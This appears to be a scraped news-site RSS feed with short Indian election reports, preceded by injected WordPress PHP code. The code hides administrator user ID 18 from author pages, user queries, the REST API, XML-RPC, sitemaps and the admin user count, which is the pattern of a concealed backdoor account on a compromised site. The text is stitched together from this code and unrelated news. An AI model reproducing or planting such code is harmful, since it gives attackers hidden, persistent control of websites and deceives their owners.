add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Goa Election Updates: BJP Touched Halfway Mark, Congress Lags Behind appeared first on The Edge Media.
]]>In St. Cruz, AAP nominee Amit Palekar is lagging. In Margao, Congress leader Digambar Kamat is in the lead. Utpal Parrikar, an opposition independent candidate, is lagging in Panaji.
The post Goa Election Updates: BJP Touched Halfway Mark, Congress Lags Behind appeared first on The Edge Media.
]]>The post Manipur Election Updates: BJP Beats Congress, CM Biren Singh Leading appeared first on The Edge Media.
]]>All attention is on the outcome of Manipur’s Assembly elections, where the Bharatiya Janata Party (BJP) is expected to maintain power, although Congress also hopes to win.
The post Manipur Election Updates: BJP Beats Congress, CM Biren Singh Leading appeared first on The Edge Media.
]]>The post Congress Accuses BJP For Tempering EVMs appeared first on The Edge Media.
]]>“We have got allegations of strange movement of EVMs in Ghazipur, Jhansi, Dumariyaganj, Saran, Chamoli, Fatehabad, and Punjab as well,” Congress spokesperson Rajeev Shukla told reporters at the party’s headquarter.
According to Rajeev Shukla, a team of opposition parties would discuss the issue with the Election Commission on Tuesday.
The post Congress Accuses BJP For Tempering EVMs appeared first on The Edge Media.
]]>The post TMC demonstration surrounding BJP’s Dilip Ghosh disrupts campaign in Bhawanipore. appeared first on The Edge Media.
]]>
On Monday afternoon, Trinamool Congress (TMC) workers disrupted the final campaigning for the September 30 bypoll in Kolkata’s Bhawanipore assembly seat, impeding Bharatiya Janata Party (BJP) national vice-president Dilip Ghosh and shouting “go back” shouts. As a result, the BJP decided to file a petition with the Election Commission, requesting that the election in Bhawanipore be called off.
Ghosh was canvassing on foot at Jadu Babu Bazar when the event occurred. When his companions got into a confrontation with TMC workers, Bharat Narayan Singh, a BJP worker, suffered minor injuries.
The post TMC demonstration surrounding BJP’s Dilip Ghosh disrupts campaign in Bhawanipore. appeared first on The Edge Media.
]]>